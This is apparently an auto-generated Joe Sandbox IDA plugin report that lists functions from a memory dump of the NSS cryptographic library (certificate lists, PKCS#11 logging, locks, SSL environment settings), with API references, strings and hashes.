Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: ec4c280e383cfd47a2a0b86985496fcf95dc7e74c4436b3945c7947904a35d1f
Instruction ID: b08773d6cb56bc816e01acb219dee3c15993cd2eb86a964a91c13fe1185381fe
Opcode Fuzzy Hash: ec4c280e383cfd47a2a0b86985496fcf95dc7e74c4436b3945c7947904a35d1f
Instruction Fuzzy Hash: 61F1ACB5D00219AFDF00DFA9DC84AADBBB4FF09318F054169E805A7711E731A895CB95

Function 6C5B9FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C5B9FBE

Part of subcall function 6C592F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C592F0A
Part of subcall function 6C592F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C592F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C5BA015

Part of subcall function 6C5D1940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6C5D563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6C5D195C
Part of subcall function 6C5D1940: EnterCriticalSection.KERNEL32(?,?,6C5D563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6C5AEAC5,00000001), ref: 6C5D1970
Part of subcall function 6C5D1940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6C5AEAC5,00000001,?,6C5ACE9B,00000001,6C5AEAC5), ref: 6C5D19A0

PL_FreeArenaPool.NSS3(?), ref: 6C5BA067
PR_CallOnce.NSS3(6C6F2AA4,6C5F12D0), ref: 6C5BA055

Part of subcall function 6C514C70: TlsGetValue.KERNEL32(?,?,?,6C513921,6C6F14E4,6C65CC70), ref: 6C514C97
Part of subcall function 6C514C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C513921,6C6F14E4,6C65CC70), ref: 6C514CB0
Part of subcall function 6C514C70: PR_Unlock.NSS3(?,?,?,?,?,6C513921,6C6F14E4,6C65CC70), ref: 6C514CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5BA07E
PR_CallOnce.NSS3(6C6F2AA4,6C5F12D0), ref: 6C5BA0B1
PL_FreeArenaPool.NSS3(?), ref: 6C5BA0C7
PL_FinishArenaPool.NSS3(?), ref: 6C5BA0CF
PR_CallOnce.NSS3(6C6F2AA4,6C5F12D0), ref: 6C5BA12E
PL_FreeArenaPool.NSS3(?), ref: 6C5BA140
PL_FinishArenaPool.NSS3(?), ref: 6C5BA148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5BA158
PL_FinishArenaPool.NSS3(?), ref: 6C5BA175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6C5BA1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6C5BA1B2
free.MOZGLUE(00000000), ref: 6C5BA1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6C5BA1D6

Part of subcall function 6C5D55E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6C5AEAC5,00000001,?,6C5ACE9B,00000001,6C5AEAC5,00000003,-00000004,00000000,?,6C5AEAC5), ref: 6C5D5627
Part of subcall function 6C5D55E0: PR_CallOnce.NSS3(6C6F2AA4,6C5F12D0,?,?,?,?,?,?,?,?,?,?,6C5AEAC5,00000001,?,6C5ACE9B), ref: 6C5D564F
Part of subcall function 6C5D55E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C5AEAC5,00000001), ref: 6C5D5661
Part of subcall function 6C5D55E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5AEAC5), ref: 6C5D56AF

Strings

security, xrefs: 6C5BA00F

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 5d24893b582f52b7c03d0e7fa69f8158f375ef00b6c9bdb250c45be097dd267b
Instruction ID: 347bce65949d1b0a2cb72aceb205de8e7e77417af9d38676b2589ccbc63f3958
Opcode Fuzzy Hash: 5d24893b582f52b7c03d0e7fa69f8158f375ef00b6c9bdb250c45be097dd267b
Instruction Fuzzy Hash: 5551FAB5D00309EBEB00DBA5DC95BAF7779AF8530CF100524E819BBB41EB719909CB96

Function 6C5C6D60 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C5C6D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5C6DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5C6DC3

Part of subcall function 6C6AD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6AD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5C6DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C5C6DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C5C6E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C5C6E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C5C6E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C5C6EB9

Strings

ulDataLen = %d, xrefs: 6C5C6E0E
pulDigestLen = 0x%p, xrefs: 6C5C6E42
pData = 0x%p, xrefs: 6C5C6DF5
C_Digest, xrefs: 6C5C6D81
hSession = 0x%x, xrefs: 6C5C6D9E, 6C5C6DAE
(CK_INVALID_HANDLE), xrefs: 6C5C6DBC
pDigest = 0x%p, xrefs: 6C5C6E27
njl, xrefs: 6C5C6E61, 6C5C6E95
*pulDigestLen = 0x%x, xrefs: 6C5C6EB4

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest$njl
API String ID: 1003633598-2844161330
Opcode ID: bfd295c374826827fd8f6eebd9a5b6c4ea314a3908c6b3c4cc6be6a8e9934413
Instruction ID: 84006bf1f9ea23085872f7e3daf62a3142d1d96ccd4d24a15ffdac8bda215805
Opcode Fuzzy Hash: bfd295c374826827fd8f6eebd9a5b6c4ea314a3908c6b3c4cc6be6a8e9934413
Instruction Fuzzy Hash: FC41B275701144EFDB00DF95ED88AAA3BB2EB82318F044029E919A7611DB30DD29CF9E

Function 6C5C9C40 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6C5C9C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5C9C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5C9CA3

Part of subcall function 6C6AD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6AD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5C9CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6C5C9CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C5C9CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C5C9D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6C5C9D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6C5C9D42

Strings

userType = 0x%x, xrefs: 6C5C9CD5
ulPinLen = %d, xrefs: 6C5C9D0B
C_LoginUser, xrefs: 6C5C9C61
hSession = 0x%x, xrefs: 6C5C9C7E, 6C5C9C8E
ulUsernameLen = %d, xrefs: 6C5C9D3D
pUsername = 0x%p, xrefs: 6C5C9D24
(CK_INVALID_HANDLE), xrefs: 6C5C9C9C
njl, xrefs: 6C5C9D5A, 6C5C9D91
pPin = 0x%p, xrefs: 6C5C9CF0

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser$njl
API String ID: 1003633598-12545325
Opcode ID: e03816dc9626392497611336243bd54805cbae0188d1421e2e04219f9c06cebb
Instruction ID: c459adb880e23a69169bea672330268f2e4f1deb35cf668fe85b51be2540443f
Opcode Fuzzy Hash: e03816dc9626392497611336243bd54805cbae0188d1421e2e04219f9c06cebb
Instruction Fuzzy Hash: 8041B071701144EBDB00DF95ED88E9A3BB6EB8330DF444069E9196B611DB308D28CFAE

Function 6C5D4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C5D4C4C
EnterCriticalSection.KERNEL32(?), ref: 6C5D4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C5D4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C5D4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C5D4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5D4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5D4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C5D4DB7

Part of subcall function 6C63DD70: TlsGetValue.KERNEL32 ref: 6C63DD8C
Part of subcall function 6C63DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C63DDB4

Part of subcall function 6C5807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C51204A), ref: 6C5807AD
Part of subcall function 6C5807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C51204A), ref: 6C5807CD
Part of subcall function 6C5807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C51204A), ref: 6C5807D6
Part of subcall function 6C5807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C51204A), ref: 6C5807E4
Part of subcall function 6C5807A0: TlsSetValue.KERNEL32(00000000,?,6C51204A), ref: 6C580864
Part of subcall function 6C5807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C580880
Part of subcall function 6C5807A0: TlsSetValue.KERNEL32(00000000,?,?,6C51204A), ref: 6C5808CB
Part of subcall function 6C5807A0: TlsGetValue.KERNEL32(?,?,6C51204A), ref: 6C5808D7
Part of subcall function 6C5807A0: TlsGetValue.KERNEL32(?,?,6C51204A), ref: 6C5808FB

TlsGetValue.KERNEL32 ref: 6C5D4DD7
EnterCriticalSection.KERNEL32(?), ref: 6C5D4DEC
PR_Unlock.NSS3(?), ref: 6C5D4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C5D4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5D4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C5D4E71
free.MOZGLUE(00000000), ref: 6C5D4E7A
PR_Unlock.NSS3(?), ref: 6C5D4EA2
TlsGetValue.KERNEL32 ref: 6C5D4EC1
EnterCriticalSection.KERNEL32(?), ref: 6C5D4ED6
PR_Unlock.NSS3(?), ref: 6C5D4F01
free.MOZGLUE(00000000), ref: 6C5D4F2A

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 1ba23e39f009725b7a37cd0166d8f50ea5704df6a11a080acf4c1a5aadc1f54f
Instruction ID: 3190bc91571f1ff9166a1c49bd402190bc374c74f5b92351841b4a3df7633165
Opcode Fuzzy Hash: 1ba23e39f009725b7a37cd0166d8f50ea5704df6a11a080acf4c1a5aadc1f54f
Instruction Fuzzy Hash: A9B1F075A00206AFDB00EF6DEC84AAA77B4FF49318F054525EC1597B11EB30F964CB9A

Function 6C5DFFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6C5D76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5A75C2,00000000), ref: 6C5DFFB4

Part of subcall function 6C6598D0: calloc.MOZGLUE(00000001,00000084,6C580936,00000001,?,6C58102C), ref: 6C6598E5

PR_NewLock.NSS3(?,?,6C5D76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5A75C2,00000000), ref: 6C5DFFC6

Part of subcall function 6C6598D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C659946
Part of subcall function 6C6598D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5116B7,00000000), ref: 6C65994E
Part of subcall function 6C6598D0: free.MOZGLUE(00000000), ref: 6C65995E

PR_NewLock.NSS3(?,?,6C5D76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5A75C2,00000000), ref: 6C5DFFD6
PR_NewLock.NSS3(?,?,6C5D76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5A75C2,00000000), ref: 6C5DFFE6
PR_NewLock.NSS3(?,?,6C5D76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5A75C2,00000000), ref: 6C5DFFF6
PR_NewLock.NSS3(?,?,6C5D76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5A75C2,00000000), ref: 6C5E0006
PR_NewLock.NSS3(?,?,6C5D76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5A75C2,00000000), ref: 6C5E0016
PR_NewLock.NSS3(?,?,6C5D76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5A75C2,00000000), ref: 6C5E0026
PR_NewLock.NSS3(?,?,6C5D76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5A75C2,00000000), ref: 6C5E0036
PR_NewLock.NSS3(?,?,6C5D76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5A75C2,00000000), ref: 6C5E0046
PR_NewLock.NSS3(?,?,6C5D76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5A75C2,00000000), ref: 6C5E0056
PR_NewLock.NSS3(?,?,6C5D76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5A75C2,00000000), ref: 6C5E0066
PR_NewLock.NSS3(?,?,6C5D76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5A75C2,00000000), ref: 6C5E0076
PR_NewLock.NSS3(?,?,6C5D76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5A75C2,00000000), ref: 6C5E0086
PR_NewLock.NSS3(?,?,6C5D76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5A75C2,00000000), ref: 6C5E0096
PR_NewLock.NSS3(?,?,6C5D76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5A75C2,00000000), ref: 6C5E00A6
PR_NewLock.NSS3(?,?,6C5D76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5A75C2,00000000), ref: 6C5E00B6
PR_NewLock.NSS3(?,?,6C5D76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5A75C2,00000000), ref: 6C5E00C6
PR_NewLock.NSS3(?,?,6C5D76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5A75C2,00000000), ref: 6C5E00D6
PR_NewLock.NSS3(?,?,6C5D76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5A75C2,00000000), ref: 6C5E00E6

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: aaeb27181c11b98f9d641fa1a2f9b3530356c836701be6a826d16341ecda063e
Instruction ID: 34763f7ea27c801588fb30cf6763ef9ac88a604b857c78ee9aa9a2a65e01e372
Opcode Fuzzy Hash: aaeb27181c11b98f9d641fa1a2f9b3530356c836701be6a826d16341ecda063e
Instruction Fuzzy Hash: 823112F1E017989F8B49DF27E1C81493BB6BB17A08FA0551BD1A486700D7F4016ACF9D

Function 6C626E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C626BF7), ref: 6C626EB6

Part of subcall function 6C581240: TlsGetValue.KERNEL32(00000040,?,6C58116C,NSPR_LOG_MODULES), ref: 6C581267
Part of subcall function 6C581240: EnterCriticalSection.KERNEL32(?,?,?,6C58116C,NSPR_LOG_MODULES), ref: 6C58127C
Part of subcall function 6C581240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C58116C,NSPR_LOG_MODULES), ref: 6C581291
Part of subcall function 6C581240: PR_Unlock.NSS3(?,?,?,?,6C58116C,NSPR_LOG_MODULES), ref: 6C5812A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C6CFC0A,6C626BF7), ref: 6C626ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C626EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C626EFC
PR_NewLock.NSS3 ref: 6C626F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C626F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C626BF7), ref: 6C626F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C626BF7), ref: 6C626F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C626BF7), ref: 6C626FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C626BF7), ref: 6C626FFD

Strings

NSS_SSL_CBC_RANDOM_IV, xrefs: 6C626FF8
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C626F4F
SSLKEYLOGFILE, xrefs: 6C626EB1
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C626EF7
SSLFORCELOCKS, xrefs: 6C626F2B
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C626FDB

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: edcb44caba2cfd8a0f5cd2b1b80120bd5dbcd93adcc7e37063146a255bf39e29
Instruction ID: 35ccb77cf0943b0d739d26a1f0b0a2e950401c97636b5f28231f320565531265
Opcode Fuzzy Hash: edcb44caba2cfd8a0f5cd2b1b80120bd5dbcd93adcc7e37063146a255bf39e29
Instruction Fuzzy Hash: 12A128B2A5A89086EB10463DDC40BD437E3AB93329F584365E931C7ED4DB79D8408B9E

Function 6C5A5DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5A5DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C5A5E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6C5A5E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6C5A5E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C5A5EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6C5A5ED9
SECKEY_SignatureLen.NSS3(?), ref: 6C5A5F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6C5A5F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C5A5F89
free.MOZGLUE(?), ref: 6C5A5FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C5A5FB6
free.MOZGLUE(00000000), ref: 6C5A5FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5A600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5A6079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5A6084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5A6094

Strings

, xrefs: 6C5A5EEB

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: 8b01b881a7d0bc5c02ab14959f3ebc29e974d1b78c8b5480329390019a77b472
Instruction ID: 5556e02f7b6a0bcc3bedabb3b80583fd2213b90f5104068e3bdb525f532054d2
Opcode Fuzzy Hash: 8b01b881a7d0bc5c02ab14959f3ebc29e974d1b78c8b5480329390019a77b472
Instruction Fuzzy Hash: 148116B1E006059BDB00CBAACC81F9E77B5AF48318F544528E919E7B81EB31DC16CBD1

Function 6C5C4E60 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C5C4E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5C4EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5C4EC7

Part of subcall function 6C6AD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6AD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5C4EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C5C4F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5C4F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C5C4F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C5C4F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C5C4F68

Strings

pTemplate = 0x%p, xrefs: 6C5C4F4A
hSession = 0x%x, xrefs: 6C5C4EA2, 6C5C4EB2
(CK_INVALID_HANDLE), xrefs: 6C5C4EC0, 6C5C4F13
ulCount = %d, xrefs: 6C5C4F63
hObject = 0x%x, xrefs: 6C5C4EF5, 6C5C4F05
njl, xrefs: 6C5C4F82, 6C5C4FB2
C_GetAttributeValue, xrefs: 6C5C4E7E

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
